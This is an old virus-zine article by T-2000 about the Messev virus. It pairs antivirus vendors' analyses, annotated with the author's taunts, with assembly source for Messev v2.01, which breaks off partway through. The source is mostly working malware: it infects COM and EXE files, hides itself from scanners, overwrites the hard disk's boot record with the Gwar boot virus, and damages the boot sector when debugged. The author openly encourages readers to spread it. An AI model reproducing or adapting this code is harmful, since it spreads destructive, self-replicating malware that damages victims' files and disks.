The Messev virus
H0l0kausT Issue 1
NOTE
These are the final versions of my old Messev and Gwar which were supposed to be published in 29A#3, instead, older versions were used. Unlike what some of you may think, the versions included in this file are completely different from the ones in 29A#3, much code was rewritten and alot of features were added. Messev + Gwar were my first virii written for public release, that explains the weak coding, nevertheless, they ain't exactly trivial, and thus, interesting....
- T-2000 / [Immortal Riot] -
Here are a few fucked-up AV-descriptions of slightly modified versions, I added some of my own comments where needed:
DATAFELLOWS
The Messev.3158 is an encrypted resident stealth virus that infects COM and DOS EXE files. Besides it acts as a dropper to Gwar boot virus. Messev virus is encrypted with a variable key. Number of possible key variants is 255.
Messev installs itself to memory using the last MCB block and immediately passes control to its body there. First the virus traces Int 13h and Int 21h. Then the virus tries to infect harddisk with Gwar boot virus. It uses direct calls to Int 13h and Int 21h handlers during this procedure.
To safely infect MBR the virus tries to delete Windows 95 floppy device driver HSFLOP.PDR located in \System\IOSubSys folder, but there's an error in the virus and this never happens [* Yeah, the filename had a typo :( *]. The virus checks for presence of Gwar in memory and if it is not present the hard disk in infected - the original MBR is copied to 0/0/2 (h/t/s) and the Gwar is copied to 0/0/1 (h/t/s). Because of this trick logical hard disks become inaccessible when booting from a system diskette.
After dropping the Gwar the virus traps Int 13h and Int 21h. Then it gets attributes of C:\COMMAND.COM [* Dumbass, it infects the file pointed by the COMSPEC-variable by getting it's attributes. *], and passes control to original infected file code.
COM and DOS EXE files are infected by Messev on access. The original 12 bytes [* _WORDS_ moron! not bytes! *] from the file start are copied to the end of the virus body and then the virus attaches itself to a file. Timestamp of infected file is not modified except for seconds value - it is set to 60. Some programs that are bigger than 400k and some packed programs could become unusable after infection [* Yikes, this was a pretty serious bug, at the time being I thought a program's MinMem requirements was it's image-size in paragraphs! *]. When infected files are copied to floppy disk they appear to be clean.
The virus has the following text strings:
'This is a pretty lame virus, I only released it'
'coz I wanted to infect some ppl.'
'Messev - Screwed version.''If I don't pass... f*ck it! SKLSUX!'
[* Y*u c*n k*ss my *ss y*u f*cking l*me c*cks*cking c*ns*r-d*ck! *]
'My gun will be your angel of mercy!'
'[ DEMANUFACTURE - FEAR FACTORY ]'
The virus uses anti-debugging tricks. It halts keyboard and if it fails performs a trick with stack values and writes garbage to DOS Boot record. This could [* _DOES_ :P *] happen if the program is debugged inaccurately.
The stealth procedure of the virus hides all signs of virus presence in infected objects. When archivers (ARJ.EXE, PKZIP.EXE, LHA.EXE and RAR.EXE), CHKDSK or TBSCAN are executed the virus disables its stealth routines [* TBSCAN? How stupid can you morons get?! it adds certain parameters to the command-line of TBSCAN to skip the memory-scan and use the DOS file- system (so the stealth can do it's job). *]
[Analysis: Alexey Podrezov, Szor Peter, Data Fellows] [* Oink oink. *]
AVP: Messev.3158
It is a very dangerous memory resident virus. It infects DOS COM and EXE files as well as drops its boot instance that then infects boot sectors only and is not able to infect DOS executable files. The virus is encrypted in both files and sectors, it is also stealth in both its instances.
When an infected file is executed the virus decryption routine takes control, restores the virus in its original form and passes control to the virus installation routine. The virus then traces and hooks INT 13h, 21h, infects the MBR of the hard drive and command processor pointed by the COMSPEC= instruction.
While infecting files the virus writes itself to the end of the file. It affects the files that are executed, created, opened, accessed by Get/Set file attribute function and ever deleted. The virus disinfects infected files under debugger and on writing to such files (stealth). The virus also runs stealth routines on accessing file length and time & date stamp, [* Not to mention seeks & reads. *]. on executing the PKZIP, ARJ, LHA, RAR and CHKDSK utilities the virus disables these routines.
When TBSCAN anti-virus is executed, the virus appends to the end of command line options that disable TBSCAN memory and heuristic scanning [* Pfff! *]. Under debugger the virus erases the hard drive sectors and reboots the computer. While infecting the MBR of the hard drive the virus erases the file:
C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR
The boot virus instance infects the MBR of the hard drive and boot sector of floppy disks as ordinary boot virus. On May 2nd it erases the harddrive sectors, displays and outputs to printer the message:
Gwar virus v1.3, (c) 1998 by T-2000 / Invaders SKLSUX!Winsuck95
[* 'SKLSUX!Winsuck95' is never displayed. *]
The virus also contains the text strings:
=[ Messev v2.10, (c) 1998 by T-2000 / Invaders ]=
MeSSeV LiVeS!
Daddy-K-tit 2 Gallyon van Vessem
This is a pretty lame virus, I only released it coz
I wanted to infect some ppl.Messev - Screwed version
If I don't pass... fuck it!SKLSUX!
My gun will be your angel of mercy!
[ DEMANUFACTURE - FEAR FACTORY ]
; On with the source...
;============================================================================
;
; NAME: Messev v2.01
; TYPE: Parasitic resident full-stealth .COM & .EXE-infector.
; TARGETS: .COM & .EXE-files, MBR of 1st harddisk.
; PURPOSE: Designed to drop the Gwar v1.30 bootsector-virus.
; SIZE: Over 3000 bytes.
; AUTHOR: T-2000 / Invaders.
; DATE: March 1998 - May 1998.
; PHASE: Release version.
; RATING: 74%
; PAYLOAD: Nope, (but Gwar has, disk-trashing on 2nd of May).
;
;
; Capabilities:
;
; - Tunneling on INT 13h and INT 21h.
; - Variable encrypting.
; - Full stealth, (SFT-stealth however...).
; - Drops bootsector-virus (Gwar v1.30).
; - Stealths bootsectors/MBRs infected with Gwar.
; - Completely invisible for TBSCAN (adds parameters, uses INTs).
; - Anti-tracer: detects tracers (trashes bootsector).
; - Anti-debugging tricks.
; - Disables stealth on execution archivers (works with PKZIP).
; - Infects COMSPEC-variable.
;
;
; TO-DO-LIST:
;
; - Stealth filereads without SFT's.
; - Diskspace stealth.
; - Sizestealth under Win95 (71h, 4Eh/4Fh).
;
; BUGS:
; - DEBUG crashes on exit after accessing port 21h (IRQ-status).
;
; Dedicated to dis very pretty woman who was on Dutch television,
; named 'Gallyon van Vessem'.
;
; Stealth-marker is 60 seconds.
; Passes sanity-checks in anti-virus programs.
; It traps a shitload of functions.
; Checks if the environment is compatible.
;
; Gwar.Boot stealth-handler: - Stealths infected bootsectors/MBRs.
; - Lets the zero-track seem empty.
;
;
; When I got ready with Gwar, I've decided build it inside a file-infector,
; (nobody boots from a diskette nowadays). At first I thought of a Tai-Pan-
; hack, later I decided to write my own. It turned out to be the most stealth
; virus I ever programmed.
;
;
; I haven't tested this baby to death, but the code should be pretty sound.
; I spended a hell of a lot time coding this one!
;
; Scanner detection:
;
; - TbScan 8.02 : Only the T-flag (invalid timestamp).
; - F-Prot 2.28 : Indicates a possible infection with /ANALYZE.
; - AVP 3.00 : Nothing.
;
; - TbClean 8.02 : Unable to clean.
;
; Some parts may look a bit messy, this is due the optimization & handling
; of both .COM and .EXE-files. It could, however, be optimized a LOT more!
;
; Also sorry if there is some lame english in this source.
;
; My E-Mail: T2000_@HotMail.Com
;
; To whoever who has dis source: U can do with it whatever U want:
;
; - Modify it, (just give me credit)
; - Spread it (please do!)
; - Publish it,
; - Stick it where da sun doesn't shine.
;
; A big 'fuck' goes to Bill Gates and his sloppy Windoze-product, DOS was
; MUCH better then dis WinShit! - Bill, the perfect salesman -
;
;============================================================================
.MODEL TINY
.STACK 1024
.CODE
; ==> Please note that the virus-entrypoint is <==
; ==> at the end of this file, look for START: <==
Virus_Size EQU OFFSET Virus_End - OFFSET Virus_Begin
Virus_Mem_Size EQU ((Virus_Size * 2) / 16) + (128 / 16)
Marker_Mem EQU 721Eh
Marker_File EQU 1666h
Residency_Check EQU 99E1h
Bios EQU 13h
Dos EQU 21h
Virus_Begin:
Gwar_Boot: INCLUDE GWAR.ASM ; Bootsector-virus.
Entry:
CLI ; Detect if a tracer is used.
PUSH AX ; - ANTI-TRACER/DEBUGGER -
POP AX
DEC SP
DEC SP
POP BX
STI
CMP AX, BX ; Word correct?
JE Not_Traced ; Then continue execution.
; === Our retaliation ===
Trash_Boot:
MOV AX, 0301h ; Trash bootsector.
MOV CX, 01h ; (don't hurt our child).
MOV DX, 0180h
INT 13h
INT 19h ; Reboot system.
Not_Traced:
MOV AX, Residency_Check ; Call residency-check.
INT 21h
CMP AX, Marker_Mem ; Are we already TSR?
JNE Make_Resident
Exec_Host:
POP SI
POP ES
POP DS
POP DI
POP DX
POP CX
POP BX
IN AL, 21h ; Unlock keyboard.
AND AL, NOT 02h
OUT 21h, AL
CMP CS:[SI+Old_Bytes.Mark], 'ZM' ; Host a .EXE-file?
JE Exec_EXE
Exec_COM:
PUSH CS
POP DS
CLD ; Restore bytes in .COM-file.
ADD SI, OFFSET Old_Bytes
MOV DI, 100h
MOV CX, (24 / 2)
REP MOVSW
PUSH ES
POP DS
MOV AX, 100h
PUSH ES ; Save return-address
PUSH AX ; on stack.
XOR AX, AX ; Clear used registers.
XOR CX, CX
XOR SI, SI
XOR DI, DI
RETF ; JMP to start .COM-file.
Exec_EXE:
MOV AX, ES ; PSP-address.
ADD AX, 10h ; Plus size PSP.
CLI ; Restore old stack.
ADD CS:[SI+Old_Bytes.Init_SS], AX
MOV SS, CS:[SI+Old_Bytes.Init_SS]
MOV SP, CS:[SI+Old_Bytes.Init_SP]
STI
ADD AX, CS:[SI+Old_Bytes.Init_CS]
PUSH AX
MOV AX, CS:[SI+Old_Bytes.Init_IP]
PUSH AX
XOR AX, AX ; Clear AX.
RETF ; JMP to host.
Make_Resident:
MOV AH, 62h ; Get PSP, (screws some
INT 21h ; debuggers).
DEC BX ; Get our MCB.
MOV DS, BX
CMP BYTE PTR DS:[0], 'Z' ; We want the last MCB.
JNE Exec_Host ; Don't install when not.
XCHG SI, AX ; Save SI in AX.
POP SI
XOR SI, SI ; Set displacement to zero
PUSH SI ; on the stack.
XCHG SI, AX ; Restore SI from AX.
; === Subtract our memory requirements from MCB & PSP. ===
SUB WORD PTR DS:[03h], Virus_Mem_Size
SUB WORD PTR DS:[12h], Virus_Mem_Size
MOV ES, DS:[12h]
PUSH CS
POP DS
CLD ; Copy virus to high-mem.
XOR DI, DI
MOV CX, Virus_Size
REP MOVSB
MOV AX, OFFSET Relocated_Code
PUSH ES ; JMP to relocated virus.
PUSH AX
RETF
Copyright DB '=[ Messev v2.01, (c) 1998 by T-2000 / Invaders ]='
;------------------------------------------
; Statusbits:
;
; 0 Infect mode.
; 1 Filesize stealth mode.
; 2 Read-stealth mode (uses SFT's).
; 3 Zero-track stealth mode.
; 4 Bootsector/MBR stealth mode.
; 5-7 Reserved.
;------------------------------------------
Relocated_Code:
PUSH CS
POP DS
MOV AX, 3000h ; Get DOS-version (OEM).
INT 21h
MOV AL, 00010011b ; Infect-mode on.
; Sizestealth-mode on.
CMP BH, 0FFh ; Micro$oft MS-DOS?
JE M$_Compatible
CMP BH, 0EEh ; Digital Research DR-DOS?
JNE Not_Compatible
M$_Compatible: OR AL, 00001100b ; Read-stealth enabled (SFT).
; Zerotrack-stealth enabled.
Not_Compatible:
MOV Init_Status, AL ; Save initial status.
MOV Status, AL ; Set Statusbits.
MOV Trace_Mode, Bios ; Find BIOS-entrypoint.
CALL Tracer
MOV Trace_Mode, Dos ; Find DOS-entrypoint.
CALL Tracer
; Stealth-handler for Gwar.Boot.
MOV AL, 13h ; Hook INT 13h.
MOV BX, OFFSET Stealth_Int13h
MOV CX, CS
CALL SetInt
CALL Gwar_Dropper ; Install our lil' present.
NOP ; Leave dis here!
MOV AL, 21h ; Hook INT 21h.
MOV BX, OFFSET NewInt21h
MOV CX, CS
CALL SetInt
CALL Infect_COMSPEC ; Infect command-interpreter.
JMP Exec_Host
;-----------------------------------------------------------------
; See if Gwar is already installed, if not then install. Because
; we use the tunnelled vector, we can read beyond Gwar's stealth.
;-----------------------------------------------------------------
Gwar_Dropper:
; Delete port-access driver, so Gwar can infect under
; Winsux95. (Same method as used in Hare virus).
MOV AH, 41h ; Delete driver.
MOV DX, OFFSET Port_Driver
CALL OldInt21h
MOV AX, Marker_Mem_Gwar ; Gwar residency-check.
INT 13h
CMP AX, NOT Marker_Mem_Gwar ; Gwar resident?
JE Exit_Installer ; If so, don't install.
MOV AH, 0Dh ; Reset harddisk.
MOV DX, 80h
CALL OldInt13h
POP BX ; POP return address to BX.
PUSH BX ; PUSH it back.
MOV BYTE PTR [BX], 90h ; Remove breakpoint.
; - ANTI-DEBUGGER -
MOV AX, 0201h ; Read MBR of 1st harddisk.
MOV BX, OFFSET Buffer
MOV CX, 01h
CALL OldInt13h
JC Exit_Installer
CMP [BX+Signature], Marker_Boot ; Already infected?
JE Exit_Installer ; Then abort drop.
MOV AX, 0301h ; Store original MBR.
INC CX
CALL OldInt13h
JC Exit_Installer
IN AL, 40h ; Get encryption-key.
MOV Key, AL
CALL Crypt_Block ; Encrypt Gwar.
MOV AX, 0301h ; Write Gwar to MBR.
MOV BX, OFFSET Gwar_Boot ; Better use XOR BX, BX.
MOV CX, 01h
CALL OldInt13h
CALL Crypt_Block ; Decrypt Gwar.
Exit_Installer:
RETN
;--------------------------------------------------------------------------
; Fetches the path after the COMSPEC-variable, and gets it file-attributes
; by simulating a interrupt via our handler, so Messev will infect it.
;--------------------------------------------------------------------------
Infect_COMSPEC:
CALL Push_All
CLD ; Save host's original bytes.
MOV SI, OFFSET Old_Bytes ; (Bcoz they are overwritten
MOV DI, OFFSET Temp_Buffer ; by Messev when it infects
MOV CX, (24 / 2) ; the command-interpreter.
REP MOVSW
MOV AH, 62h ; Get PSP of current process.
INT 21h
MOV ES, BX
MOV ES, ES:[2Ch] ;
XOR DI, DI
Rep_Loop:
CMP BYTE PTR ES:[DI], 0 ; End of settings?
JZ Exit_Find ; Then exit routine.
MOV AX, ES:[DI] ; Get first word.
AND AX, 1101111111011111b ; Convert 2 uppercase.
CMP AX, 'OC' ; Starts with 'CO' ?
JNE Find_Next_Set ; Next setting when not.
MOV AX, ES:[DI+2] ; Get second word.
AND AX, 1101111111011111b ; Convert 2 uppercase.
CMP AX, 'SM' ; We found COMSPEC= ?
JE COMSPEC_Found ; Then infect it.
Find_Next_Set:
CLD ; Find next setting.
XOR AL, AL
MOV CX, 0FFFFh
REPNZ SCASB
OR CX, CX ; Not found?
JZ Exit_Find ; Then exit routine.
JMP Rep_Loop
COMSPEC_Found:
PUSH ES
POP DS
MOV AX, 4300h ; Get file-attributes via
MOV DX, DI ; our hooked INT so it
ADD DX, 8 ; will be infected.
PUSHF ; Simulate interrupt,
PUSH CS
CALL NewInt21h
Exit_Find:
PUSH CS
POP DS
PUSH CS
POP ES
CLD
MOV SI, OFFSET Temp_Buffer
MOV DI, OFFSET Old_Bytes
MOV CX, (24 / 2)
REP MOVSW
CALL Pop_All
RETN
; <=== S T E A L T H R O U T I N E S ===>
Stealth_Int13h:
CMP AH, 02h ; Read?
JNE JMP_Int13h_2
OR DH, DH ; Zero-head?
JNZ JMP_Int13h_2
OR CH, CH ; Zero-track?
JNZ JMP_Int13h_2
CMP CX, 01h ; Bootsector?
JNE Zero_Stealth
CALL OldInt13h ; Execute function.
CALL Push_All
JC Exit_Stealth_i13h ; Exit if error occurred.
TEST CS:Status, 00010000b ; Do bootsector/MBR stealth?
JZ Exit_Stealth_i13h ; Exit when not.
CMP ES:[BX+Signature], Marker_Boot
JNE Exit_Stealth_i13h
MOV AX, 0201h ; Read original bootsector.
MOV CX, ES:[BX+Stored_TS]
MOV DX, ES:[BX+Stored_HD]
CALL OldInt13h
Exit_Stealth_i13h:
CALL Pop_All
RETF 2 ; Return to caller.
JMP_Int13h_2: JMP DWORD PTR CS:Int13h
Zero_Stealth:
MOV CS:Temp, AL ; Save # of sectors to read.
CALL OldInt13h ; Execute function.
CALL Push_All
JC Exit_Stealth_i13h ; No stealth if error.
CMP DL, 80h ; Only on 1st harddisk.
JNE Exit_Stealth_i13h
TEST CS:Status, 00001000b ; Do zero-track stealth?
JZ Exit_Stealth_i13h ; Exit when not.
MOV DL, CS:Temp ; DL = Sector read.
MOV DI, BX ; DI = Sector-buffer.
Clear_Sector_Buffer:
OR DL, DL ; No more sectors read?
JZ Exit_Stealth_i13h ; Then abort stealthing.
CLD ; Fill buffer with zeroes.
XOR AX, AX
MOV CX, (512 / 2)
REP STOSW
DEC DX ; Decrease #sectors 2 stelth.
JMP Clear_Sector_Buffer
Stealth_Filesize_FCB:
CALL OldInt21h ; Execute function.
CALL Push_All
OR AL, AL ; Error?
JNZ Error_FCB ; If yes, then exit.
TEST CS:Status, 00000010b ; Can we perform sizestealth?
JZ Error_FCB
MOV AH, 2Fh ; Get DTA-address.
CALL OldInt21h
CMP BYTE PTR ES:[BX], 0FFh ; Extended FCB?
JNE Normal_FCB
ADD BX, 7 ; Skip extended stuff.
Normal_FCB: MOV AL, ES:[BX+17h]
AND AL, 00011111b ; Infected stamp?
CMP AL, 00011110b
JNE Error_FCB
AND BYTE PTR ES:[BX+17h], 11100000b
; Subtract our size from the filesize in DTA.
SUB WORD PTR ES:[BX+1Dh], Virus_Size
SBB WORD PTR ES:[BX+1Fh], 0
Error_FCB:
CALL Pop_All
RETF 2
; Subtract the virussize from infected files' length & clear seconds.
Stealth_Filesize:
CALL OldInt21h ; Execute function.
CALL Push_All
JC No_Filesize_Stealth ; Abort when error.
TEST CS:Status, 00000010b
JZ No_Filesize_Stealth ; No, then abort.
MOV AH, 2Fh ; Get DTA-address.
CALL OldInt21h
MOV AL, ES:[BX+16h] ; Get seconds-field.
AND AL, 00011111b ; Mask seconds.
CMP AL, 00011110b ; Equal to 60 seconds?
JNE No_Filesize_Stealth ; No stealth when not.
AND BYTE PTR ES:[BX+16h], 11100000b ; Clear seconds.
SUB WORD PTR ES:[BX+1Ah], Virus_Size
SBB WORD PTR ES:[BX+1Ch], 0
No_Filesize_Stealth:
CALL Pop_All
RETF 2 ; Return 2 caller.
;-----------------------------------------------
; Gets the SFT-Address of the handle in BX, and
; subtracts the virussize from the filelength.
;-----------------------------------------------
Sub_SFT_Size:
CALL Get_DCB
SUB WORD PTR ES:[DI+11h], Virus_Size
SBB WORD PTR ES:[DI+13h], 0
RETN
;-----------------------------------------------
; Gets the SFT-Address of the handle in BX, and
; adds the virussize to the filelength.
;-----------------------------------------------
Add_SFT_Size:
CALL Get_DCB
ADD WORD PTR ES:[DI+11h], Virus_Size
ADC WORD PTR ES:[DI+13h], 0
RETN
; Prevents readings after virtual file & redirect readings from header.
Stealth_File_Read:
CALL Push_All
MOV CS:Read_Buffer, DS
TEST CS:Status, 00000100b ; Can we use SFT-stealth?
JZ JMP_No_Stealth
MOV CS:Read_Bytes, CX ; Save # of bytes to read.
MOV CS:Read_Buffer+2, DX
CALL Check_Handle ; Dis is a filehandle?
JNZ JMP_No_Stealth ; Abort when it isn't.
CALL Check_Stamp ; Infected timestamp?
JZ Stealth_Read
JMP_No_Stealth: JMP No_Stealth_Read
Stealth_Read:
CALL Sub_SFT_Size ; Subtract our size from
; the SFTs, also gets the
; SFT-address in ES:DI.
MOV AX, ES:[DI+17h] ; Pos. before read hi.
MOV CS:File_Pos, AX
MOV AX, ES:[DI+15h] ; Pos. before read lo.
MOV CS:File_Pos+2, AX
CALL Pop_All
CALL OldInt21h ; Execute function.
CALL Push_All
JC Abort_Stealth ; Abort when error.
CALL Add_SFT_Size
PUSH CS
POP DS
CMP File_Pos, 0 ; Reading 1st 64k?
JNZ Abort_Stealth ; Abort when not.
CMP File_Pos+2, 24 ; Reading header?
JA Abort_Stealth ; Abort when not.
CALL Save_File_Pos
CALL Go_End_File
SUB AX, 24 ; Location original bytes.
SBB DX, 0
ADD AX, File_Pos+2 ; Plus pos in header.
ADC DX, 0
MOV ES:[DI+17h], DX ; Pos. old header.
MOV ES:[DI+15h], AX ; Pos. old header.
MOV AH, 3Fh ; Read original header
MOV CX, 24 ; into caller's buffer.
SUB CX, File_Pos+2
MOV DX, Read_Buffer+2
MOV DS, Read_Buffer
CALL OldInt21h
CALL Restore_File_Pos
Abort_Stealth:
CALL Pop_All
RETF 2 ; Return to caller.
No_Stealth_Read:
CALL Pop_All
JMP JMP_Int21h
; Prevents lseeks beyond virtual file.
Stealth_Fileseek:
CALL Push_All
TEST CS:Status, 00000100b ; Readstealth?
JZ No_Stealth_lseek
CALL Check_Stamp ; Infected stamp?
JNZ No_Stealth_Lseek
CALL Sub_SFT_Size ; Subtract virussize.
CALL Pop_All
CALL OldInt21h ; Execute function.
CALL Push_All
CALL Add_SFT_Size ; Restore filesize in SFT.
CALL Pop_All
RETF 2 ; And return.
No_Stealth_lseek:
CALL Pop_All
JMP JMP_Int21h
; DS:DX = Filename.
Clean_By_File:
CALL Push_All
MOV AX, 3D02h ; Open file r/w.
CALL OldInt21h
JC Abort_Clean
XCHG BX, AX
CALL Clean_Handle ; Clean it.
MOV AH, 3Eh ; Close file.
CALL OldInt21h
Abort_Clean:
CALL Pop_All
JMP JMP_Int21h
; Removes the virus physically from disk, before a program writes to it.
Clean_By_Handle:
CALL Clean_Handle
JMP JMP_Int21h
; Cleans the handle, (must have read/write access).
Clean_Handle:
CALL Push_All
CALL Hook_i24h
PUSH CS
POP DS
CALL Check_Handle ; Filehandle?
JNZ No_Del
MOV AX, 5700h ; Get filedate.
CALL OldInt21h
MOV FileTime, CX ; Save it.
MOV FileDate, DX
AND CL, 00011111b ; Mask seconds.
CMP CL, 00011110b ; 60 seconds ?
JNE No_Del
CALL Save_File_Pos
CALL Go_End_File
SUB AX, 24
SBB DX, 0
MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ; Pos. old header.
CALL OldInt21h
MOV AH, 3Fh ; Read old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h
CALL Go_End_File
SUB AX, Virus_Size ; Subtract our length.
SBB DX, 0
MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ; Go to end virtual file.
CALL OldInt21h
MOV AH, 40h ; Write <EOF> marker.
XOR CX, CX
CALL OldInt21h
CALL Go_Begin_File
MOV AH, 40h ; Write old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h
MOV AX, 5701h ; Set clean filedate.
MOV CX, FileTime
MOV DX, FileDate
AND CL, 11100000b ; Clear seconds.
CALL OldInt21h
CALL Restore_File_Pos
No_Del: CALL Unhook_i24h
CALL Pop_All
RETN
;---------------------------------------------
; Check if timestamp is marked as 'infected'.
; BX = Filehandle.
; ZF set when infected.
;---------------------------------------------
Check_Stamp:
PUSH AX
PUSH CX
PUSH DX
MOV AX, 5700h ; Get time & datestamp.
CALL OldInt21h
AND CL, 00011111b ; Infected?
CMP CL, 00011110b ; (Set's flags).
POP DX
POP CX
POP AX
RETN
; Hides infected timestamp.
Stealth_Time:
CALL OldInt21h
PUSHF
PUSH CX
MOV CS:Temp, CL
JC No_Stealth_Time
TEST CS:Status, 00000010b ; Sizestealth allowed?
JZ No_Stealth_Time
CALL Check_Stamp
JNZ No_Stealth_Time
AND CS:Temp, 11100000b ; Zero seconds.
No_Stealth_Time:
POP CX
POPF
MOV CL, CS:Temp
RETF 2
Save_File_Pos:
MOV AX, 4201h ; Get file-position.
XOR CX, CX
CWD
CALL OldInt21h
MOV CS:Old_Pos, DX
MOV CS:Old_Pos+2, AX
RETN
Restore_File_Pos:
MOV AX, 4200h
MOV CX, CS:Old_Pos
MOV DX, CS:Old_Pos+2
CALL OldInt21h
RETN
Go_Begin_File:
MOV AX, 4200h
XOR CX, CX
CWD
CALL OldInt21h
RETN
;-------------------------
; Goes to end of file.
;
; In: BX = filehandle
; Out: DX:AX = filesize
;-------------------------
Go_End_File:
PUSH CX
MOV AX, 4202h
XOR CX, CX
CWD
CALL OldInt21h
POP CX
RETN
; These INT 21h functions will be trapped by our virus. If the subfunction
; is 0FFh, it will be treaded like a wildcard.
Functions:
DW 11FFh ; Findfirst (FCB).
DW Stealth_Filesize_FCB
DW 12FFh ; Findnext (FCB).
DW Stealth_Filesize_FCB
DW 4EFFh ; Findfirst (handle).
DW Stealth_Filesize
DW 4FFFh ; Findnext (handle).
DW Stealth_Filesize
DW 4B00h ; Execute file.
DW Init_Exec
DW 4B01h ; Load but not execute.
DW Clean_By_File
DW 4CFFh ; Program terminate.
DW Switch_Stealth_On
DW 5700h ; Get filetime.
DW Stealth_Time
DW 3DFFh ; Open file.
DW Check_Infect
DW 6CFFh ; Extended open/create.
DW Check_Infect
DW 43FFh ; Get file-attributes.
DW Check_Infect
DW 3CFFh ; Create/truncate file.
DW Check_Infect
DW 3FFFh ; Read file (handle).
DW Stealth_File_Read
DW 40FFh ; Write to file (handle).
DW Clean_By_Handle
DW 42FFh ; lseek file.
DW Stealth_Fileseek
DW 41FFh ; Delete file.
DW Check_Infect
DW Residency_Check ; Are-You-There call.
DW Return_Call
DW 0 ; End table.
NewInt21h:
PUSH SI
PUSH BX
MOV SI, OFFSET Functions
Next_Function:
MOV BX, CS:[SI]
OR BH, BH ; End of table reached?
JZ End_Table_Reached ; Then abort.
CMP BH, AH ; Function match?
JNE Another
CMP BL, 0FFh ; Don't compare subfunction?
JE Exec_Function ; Then JMP to routine.
CMP BL, AL ; Subfunction right?
JE Exec_Function ; Then JMP to routine.
Another:
ADD SI, 4 ; Next entry.
JMP Next_Function ; Repeat loop.
End_Table_Reached:
POP BX
POP SI
JMP_Int21h: JMP DWORD PTR CS:Int21h
Exec_Function:
MOV BX, CS:[SI+2]
MOV CS:Ret_Add, BX
POP BX
POP SI
JMP CS:Ret_Add ; JMP to routine.
; === Let the virus know that we are already installed in memory. ===
Return_Call:
MOV AX, Marker_Mem
IRET
Switch_Stealth_On:
PUSH AX
MOV AL, CS:Init_Status
MOV CS:Status, AL
POP AX
JMP JMP_Int21h
Init_Exec:
CALL Push_All
; Should we be inactive during run of program?
; Else causes problems:
; eg. ARJ.EXE timestamp incorrect,
; PKZIP.EXE wrong filesizes, etc.
MOV SI, DX
MOV DI, OFFSET No_Active
MOV CX, (OFFSET End_No_Active - OFFSET No_Active) / 7
CALL Search_Table
JNZ No_Disable
AND CS:Status, 00000000b
No_Disable:
MOV DI, OFFSET TBSCAN ; Add parameters to TBSCAN?
MOV CX, 1
CALL Search_Table
JNZ Not_TbScan
MOV DI, ES:[BX+2]
MOV ES, ES:[BX+4]
MOV AL, ES:[DI]
CBW
ADD BYTE PTR ES:[DI], 6 ; Length parameters.
INC DI
ADD DI, AX
PUSH CS
POP DS
CLD
MOV SI, OFFSET Parameters
MOVSW
MOVSW
MOVSW
MOVSB
Not_TbScan:
CALL Pop_All
; === INFECTION ROUTINE ===
Check_Infect:
CALL Push_All
CALL Hook_i24h ; Dummy error-handler.
CMP AH, 6Ch ; Extended open/create?
JNE No_Ext_Open ; (used by F-Prot).
MOV DX, SI ; DX = SI.
No_Ext_Open:
TEST CS:Status, 00000001b ; Infect-mode on?
JZ JMP_Exit_i21h ; Abort when not.
MOV AX, 3D02h ; Open file for r/w.
CALL OldInt21h
JNC No_Open_Error
JMP_Exit_i21h: JMP Exit_Int_21h
My_Inspiration DB 'Daddy-K-tit 2 Gallyon van Vessem'
No_Open_Error:
XCHG BX, AX ; BX = Handle.
MOV AX, 4300h ; Get file-attributes.
CALL OldInt21h
PUSH CX
PUSH DS ; Save filename on stack.
PUSH DX
MOV AX, 4301h ; Clear file-attributes.
XOR CX, CX
CALL OldInt21h
CALL Check_Handle ; Filehandle?
JNZ Abort_Check
PUSH DS
POP ES
CLD ; Find end of ASCIIZ-string.
XOR AL, AL
MOV DI, DX
MOV CX, 0FFFFh
REPNZ SCASB
MOV AX, [DI-3]
AND AX, 1101111111011111b ; Convert 2 uppercase.
CMP AX, 'MO' ; Has file .COM-extension?
JE Legal_Candidate
CMP AX, 'EX' ; Has file .EXE-extension?
JNE Abort_Check
Legal_Candidate:
PUSH CS
POP DS
PUSH CS
POP ES
MOV AH, 3Fh ; Read header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h
JC Abort_Check ; If we can't read.
CALL Go_End_File
OR DX, DX ; > 64k?
JNZ Over_64k
CMP AX, 560 ; File too small?
JB Abort_Check
Over_64k:
CMP Header.Checksum, Marker_File ; Already infected?
JE Abort_Check
XOR BP, BP ; 0 = COM
; 1 = EXE
CMP Header.Mark, 'ZM' ; True .EXE-file?
JNE Infect_File
JMP Init_EXE
Abort_Check: JMP Close_File
Init_EXE: INC BP ; Set .EXE
Infect_File:
MOV AX, 5700h ; Get filetime.
CALL OldInt21h
PUSH CX ; Save timestamp on stack.
PUSH DX
CLD ; Save
MOV SI, OFFSET Header
MOV DI, OFFSET Old_Bytes
MOV CX, (24 / 2)
REP MOVSW
OR BP, BP ; .COM-file.
JZ Skip_EXE_Stuff
CALL EXE_Stuff
Skip_EXE_Stuff:
IN AL, 40h ; Get random encryption-key.
MOV File_Key, AL
CLD ; Copy virus to buffer
XOR SI, SI ; for encryption.
MOV DI, OFFSET Buffer
MOV CX, Virus_Size
REP MOVSB
MOV SI, OFFSET Buffer
MOV CX, OFFSET End_Encrypted_File
Encrypt_Byte:
XOR BYTE PTR [SI], AL ; Encrypt ourself in buffer.
INC SI
LOOP Encrypt_Byte
CALL Go_End_File
PUSH AX ; Save length host.
MOV AH, 40h ; Append virus to host.
MOV CX, Virus_Size
MOV DX, OFFSET Buffer
CALL OldInt21h
MOV Header.Checksum, Marker_File ; Mark as infected.
POP AX ; POP length host.
OR BP, BP ; .COM-file?
JNZ No_JMP ; If not, then make no JMP.
ADD AX, (OFFSET START - 3) ; Minus displacement.
MOV SI, OFFSET Header
MOV BYTE PTR [SI], 0E9h ; JMP opcode.
MOV WORD PTR [SI+1], AX ;
No_JMP:
CALL Go_Begin_File
MOV AH, 40h ; Write updated header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h
MOV AX, 5701h ; Restore filedate.
POP DX
POP CX
AND CL, 11100000b ; Clear seconds.
OR CL, 00011110b ; 60 secs.
CALL OldInt21h
Close_File: MOV AH, 3Eh ; Close file.
CALL OldInt21h
POP DX ; ASCIIZ-string.
POP DS
MOV AX, 4301h ; Restore file-attributes.
POP CX
CALL OldInt21h
Exit_Int_21h:
CALL Unhook_i24h
CALL Pop_All
JMP JMP_Int21h
EXE_Stuff:
MOV AX, Header.HeaderSize ; Calculate headersize.
MOV CX, 16
